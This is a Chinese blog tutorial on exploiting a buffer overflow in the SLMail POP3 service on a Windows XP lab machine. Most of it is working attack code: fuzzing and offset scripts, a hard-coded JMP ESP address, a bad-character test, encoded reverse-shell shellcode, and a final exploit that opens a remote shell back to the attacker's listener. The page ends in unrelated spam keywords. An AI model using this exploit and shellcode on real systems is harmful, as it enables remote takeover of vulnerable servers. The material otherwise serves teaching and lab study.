千家信息网

windows缓冲区溢出

发表于:2025-02-01 作者:千家信息网编辑
千家信息网最后更新 2025年02月01日,写的不好多加指教准备环境:攻机:Kali 2.0靶机:windows xp ,windows2003不能做这个实验,亲测好多次没成功。有兴趣可以试试软件:SLMail、immunity debugge
千家信息网最后更新 2025年02月01日windows缓冲区溢出


写的不好多加指教

准备环境:

攻机:Kali 2.0靶机:windows xp ,windows2003不能做这个实验,亲测好多次没成功。有兴趣可以试试软件:SLMail、immunity debugger 、mona.py需要软件的可以留言。

总体步骤:

1. 测试是否发生缓冲区溢出2. 找到缓冲区溢出的位置的临界点并验证3. 查找系统中固定分配的模块中,哪里有jmp esp,为了后面实现跳转4. 在2找到的位置处写上3处找到的地址,也就是实现由 eip 到 jmp esp 的过程。这个过程设置断点验证是否跳转成功5. 判断有哪些坏字符,每个服务不一定相同6. 生成shellcode,并发送。7. 完成

Step 1. 利用python脚本测试连接windows的POP3

开启windows的POP3服务

使用python脚本测试来连接

​#!/usr/bin/python​import socket​s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)​try:​    print "\nSending veil buffer..."​    s.connect(('10.10.10.19',110))​    data=s.recv(1024)​    print data​    s.send('USER test\r\n')​    data=s.recv(1024)​    print data​    s.send('PASS test\r\n')​    data=s.recv(1024)​    print data​    s.close()​    print "\nDone!"​except:​    print "\nFailed to connect pop3"

运行结果:

root@kal:/test# ./01.py

​Sending veil buffer...​+OK POP3 server example.com ready <00005.5584281@example.com>​-ERR unable to lock mailboxDone!

说明连接POP3成功.....

Step2. 测试符合是否会发生缓冲区溢出

windows端要用immunity debugger打开slmail服务
打开immunity ==> File ==> Attach ==>选择下面的那一行

点右下角的Attach,然后开始运行,运行时候,右下角的pause会变成running状态

这时运行下面脚本:

#!/usr/bin/pythonimport socketbuffer = ["A"]counter = 100while len(buffer)<=50:        buffer.append("A"*counter)        counter = counter + 200for string in buffer:        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)        s.connect(('10.10.10.19',110))        print "Sending length %s " %(len(string))        s.recv(1024)        s.send('USER test'+'\r\n')        s.recv(1024)        s.send('PASS '+string+'\r\n')        s.recv(1024)        s.send('QUIT\r\n')        s.close()

运行情况:

当执行到2700时。发现在也不动了,看一下windows状况,右下角已经出现了pase,已经停止了,在2600个字符发完之后还能发送,但是到了2700发送完之后就连接不上了,说明缓冲区溢出临界点发生在2600-2700之间。

Step3 确定EIP的位置

利用metasploit生成唯一字符串,发送:
root@kal:/test# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2700

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah2Ah3Ah4Ah5Ah6Ah7Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh2Bh3Bh4Bh5Bh6Bh7Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch2Ch3Ch4Ch5Ch6Ch7Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh2Dh3Dh4Dh5Dh6Dh7Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8D

重启windows的服务,immunity需要重新打开然后attach,让服务运行起来
修改上面的python继续发送:

#!/usr/bin/pythonimport socketbuffer="改成上面生成的字符串"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)try:        print "\nSending veil buffer..."        s.connect(('10.10.10.19',110))        data=s.recv(1024)s.send('USER test\r\n')data=s.recv(1024)s.send('PASS '+buffer+'\r\n')data=s.recv(1024)s.close()print "\nDone!"except:        print "\nFailed to connect pop3"

运行脚本,观察windows停止时EIP的位置

用metasploit模块求出偏移量:

root@kal:/test# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 39694438[*] Exact match at offset 2606

得知偏移量是2606,说明EIP的位置在第2607-2610处

Step 4 验证EIP位置与ESP存放数据长度

重启windows服务,编写下面脚本

#!/usr/bin/pythonimport socketbuffer = "A"*2606 + "B"*4 + "C"*900s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)try:        print "\nSending veil buffer..."        s.connect(('10.10.10.19',110))        data=s.recv(1024)        s.send('USER test\r\n')        s.send('PASS '+ buffer + '\r\n')        data=s.recv(1024)        s.close()        print "\nDone!"except:        print "\nFailed to connect pop3"

服务再次暂停,这时发现EIP处的位置变成4个C,说明确定EIP的位置是正确的。

查看存放C的个数

可以看到下图,计算大概存放了400多个C,足够存放一个shellcode

理想状况就是,将EIP的内容修改成ESP的地址,ESP如果放置的是shellcode此时就会被执行,但是每次ESP的地址不同,不能直接修改。这时,我们需要利用系统中自带的 jmp esp 帮我们跳转到esp位置,去执行shellcode

Step5 查找jmp esp

首先将mona模块导入immunity中的Pycommands中
启动服务,将immunity打开attach上服务。
查看系统的所有模块

需要选择前4个是false的,最后一个是true的。就只有三四个,但是其中只有slmfc.dll模块中含有 jmp esp

其中 \xff\xe4 是汇编语言中的 jmp esp,可以通过kali工具翻译

root@kal:~# /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb nasm > jmp esp00000000  FFE4              jmp esp

输入十六进制需要加上 \x 。后面就以第一个作为jmp esp

双击查找的第一个 jmp esp,就可以看到地址是 5F4A358F

Step 6 测试跳转

接着上面的地址设置断点

发送下面的脚本:

#!/usr/bin/pythonimport socketbuffer = "A"*2606 + "\x8f\x35\x4a\x5f" + "C"*900  #倒着输入上面的地址。s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)try:        print "\nSending veil buffer..."        s.connect(('10.10.10.19',110))        data=s.recv(1024)        s.send('USER test\r\n')        s.send('PASS '+ buffer + '\r\n')        data=s.recv(1024)        s.close()        print "\nDone!"except:        print "\nFailed to connect pop3"

启动服务,发送脚本

右下角会显示执行到断点处,停止
这时按下F7单步执行

就可以看到,已经跳转到esp,里面装的43 也即是C
说明跳转成功了。

Step 7 判断坏字符

重启服务。
编写下面脚本''
#!/usr/bin/python

import sockets=socket.socket(socket.AF_INET,socket.SOCK_STREAM)badchar=("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10""\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20""\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30""\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40""\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50""\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60""\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70""\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80""\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90""\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0""\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0""\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0""\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0""\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0""\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0""\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x00")buffer="A"*2606+"B"*4+badchartry:        s.connect(('10.10.10.12',110))        data=s.recv(1024)        s.send('USER test'+'\r\n')        data=s.recv(1024)        s.send('PASS '+buffer+'\r\n')        s.close()        print "\nDone"        print "\nSending veil buffer..."except:        print "Fail connect target"

发送脚本,在windows端

通过上图可以看到0x0a的字符缺失,并且之后的字符也有丢失,那么我们改掉0x0a继续发送一遍

可以看到,我们踢掉0a之后,后面字符串就可以显示了,说明0a是个坏字符。\x0d也没有显示出来,以及\x00

这样就找到三个坏字符0x00 0x0D 0x0A

Step 8 构造shellcode

构造反弹shell

root@kal:/usr/share/framework2# ./msfpayload win32_reverse LHOST=10.10.10.11 LPORT=4444 R | ./msfencode -b "\x0d\x00\x0a"[*] Using Msf::Encoder::PexFnstenvMov with final size of 310 bytes"\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x0f\x2a\x32"."\x60\x83\xeb\xfc\xe2\xf4\xf3\x40\xd9\x2d\xe7\xd3\xcd\x9f\xf0\x4a"."\xb9\x0c\x2b\x0e\xb9\x25\x33\xa1\x4e\x65\x77\x2b\xdd\xeb\x40\x32"."\xb9\x3f\x2f\x2b\xd9\x29\x84\x1e\xb9\x61\xe1\x1b\xf2\xf9\xa3\xae"."\xf2\x14\x08\xeb\xf8\x6d\x0e\xe8\xd9\x94\x34\x7e\x16\x48\x7a\xcf"."\xb9\x3f\x2b\x2b\xd9\x06\x84\x26\x79\xeb\x50\x36\x33\x8b\x0c\x06"."\xb9\xe9\x63\x0e\x2e\x01\xcc\x1b\xe9\x04\x84\x69\x02\xeb\x4f\x26"."\xb9\x10\x13\x87\xb9\x20\x07\x74\x5a\xee\x41\x24\xde\x30\xf0\xfc"."\x54\x33\x69\x42\x01\x52\x67\x5d\x41\x52\x50\x7e\xcd\xb0\x67\xe1"."\xdf\x9c\x34\x7a\xcd\xb6\x50\xa3\xd7\x06\x8e\xc7\x3a\x62\x5a\x40"."\x30\x9f\xdf\x42\xeb\x69\xfa\x87\x65\x9f\xd9\x79\x61\x33\x5c\x69"."\x61\x23\x5c\xd5\xe2\x08\x05\x20\x38\x6b\x69\x42\x23\x3c\x69\x79"."\xbb\x81\x9a\x42\xde\x99\xa5\x4a\x65\x9f\xd9\x40\x22\x31\x5a\xd5"."\xe2\x06\x65\x4e\x54\x08\x6c\x47\x58\x30\x56\x03\xfe\xe9\xe8\x40"."\x76\xe9\xed\x1b\xf2\x93\xa5\xbf\xbb\x9d\xf1\x68\x1f\x9e\x4d\x06"."\xbf\x1a\x37\x81\x99\xcb\x67\x58\xcc\xd3\x19\xd5\x47\x48\xf0\xfc"."\x69\x37\x5d\x7b\x63\x31\x65\x2b\x63\x31\x5a\x7b\xcd\xb0\x67\x87"."\xeb\x65\xc1\x79\xcd\xb6\x65\xd5\xcd\x57\xf0\xfa\x5a\x87\x76\xec"."\x4b\x9f\x7a\x2e\xcd\xb6\xf0\x5d\xce\x9f\xdf\x42\xc2\xea\x0b\x75"."\x61\x9f\xd9\xd5\xe2\x60";

编写脚本:

#!/usr/bin/pythonimport socketshellcode="\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x0f\x2a\x32\x60\x83\xeb\xfc\xe2\xf4\xf3\x40\xd9\x2d\xe7\xd3\xcd\x9f\xf0\x4a\xb9\x0c\x2b\x0e\xb9\x25\x33\xa1\x4e\x65\x77\x2b\xdd\xeb\x40\x32\xb9\x3f\x2f\x2b\xd9\x29\x84\x1e\xb9\x61\xe1\x1b\xf2\xf9\xa3\xae\xf2\x14\x08\xeb\xf8\x6d\x0e\xe8\xd9\x94\x34\x7e\x16\x48\x7a\xcf\xb9\x3f\x2b\x2b\xd9\x06\x84\x26\x79\xeb\x50\x36\x33\x8b\x0c\x06\xb9\xe9\x63\x0e\x2e\x01\xcc\x1b\xe9\x04\x84\x69\x02\xeb\x4f\x26\xb9\x10\x13\x87\xb9\x20\x07\x74\x5a\xee\x41\x24\xde\x30\xf0\xfc\x54\x33\x69\x42\x01\x52\x67\x5d\x41\x52\x50\x7e\xcd\xb0\x67\xe1\xdf\x9c\x34\x7a\xcd\xb6\x50\xa3\xd7\x06\x8e\xc7\x3a\x62\x5a\x40\x30\x9f\xdf\x42\xeb\x69\xfa\x87\x65\x9f\xd9\x79\x61\x33\x5c\x69\x61\x23\x5c\xd5\xe2\x08\x05\x20\x38\x6b\x69\x42\x23\x3c\x69\x79\xbb\x81\x9a\x42\xde\x99\xa5\x4a\x65\x9f\xd9\x40\x22\x31\x5a\xd5\xe2\x06\x65\x4e\x54\x08\x6c\x47\x58\x30\x56\x03\xfe\xe9\xe8\x40\x76\xe9\xed\x1b\xf2\x93\xa5\xbf\xbb\x9d\xf1\x68\x1f\x9e\x4d\x06\xbf\x1a\x37\x81\x99\xcb\x67\x58\xcc\xd3\x19\xd5\x47\x48\xf0\xfc\x69\x37\x5d\x7b\x63\x31\x65\x2b\x63\x31\x5a\x7b\xcd\xb0\x67\x87\xeb\x65\xc1\x79\xcd\xb6\x65\xd5\xcd\x57\xf0\xfa\x5a\x87\x76\xec\x4b\x9f\x7a\x2e\xcd\xb6\xf0\x5d\xce\x9f\xdf\x42\xc2\xea\x0b\x75\x61\x9f\xd9\xd5\xe2\x60"buffer = "A"*2606 + "\x8f\x35\x4a\x5f" + "\x90"*9 +shellcodes=socket.socket(socket.AF_INET,socket.SOCK_STREAM)try:        print "\nSending veil buffer..."        s.connect(('10.10.10.19',110))        data=s.recv(1024)        s.send('USER test\r\n')        s.send('PASS '+ buffer + '\r\n')        data=s.recv(1024)        s.close()        print "\nDone!"except:        print "\nFailed to connect pop3"

上面的\x90 代表NOP,不执行,目的是防止后面的shellcode因为其他原因缺失前面几个字节。

打开windows服务,用kali监听4444端口,然后发送脚本,得到一个反弹shell。

root@kal:/test# nc -lvp 4444listening on [any] 4444 ...^[[A^[[B10.10.10.19: inverse host lookup failed: Unknown hostconnect to [10.10.10.11] from (UNKNOWN) [10.10.10.19] 1158Microsoft Windows XP [�汾 5.1.2600](C) ��Ȩ���� 1985-2001 Microsoft Corp.C:\Program Files\SLmail\System>   #拿到shell
服务 脚本 字符 位置 运行 地址 面的 模块 测试 缓冲区 缓冲 成功 字符串 断点 系统 生成 验证 临界点 只有 状况 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 安顺网络安全系统报价多少 广联达软件开发的风险 洛阳市公安局副局长网络安全 山西电子软件开发方案 网络安全等保测评分几级 数据库触发器调用 dll 工程软件开发用什么语言好 建筑能耗控制全链条软件开发 备份失败 数据库正在使用 青海集团党性体检软件开发 关系数据库中表的设计原则 梦幻西游十八门派闯关闯关服务器 sql批量写入数据库 浏览器的代理服务器设置 sm-9006无法连接到服务器 pppoe服务器架设 网络安全十大排名书籍 读卫星数据库 创建数据库表性别默认值男 国金证券软件开发 九娱网络技术有限公司的游戏 湖北信息软件开发案例 在服务器上安装数据库好吗 软件开发招标属于哪类 九江政务软件开发费用 计算机网络技术自学考纲 哪些税务政策适用软件开发 shell命令连接数据库 软件开发工程师职业描述 什么是嵌入式web服务器
0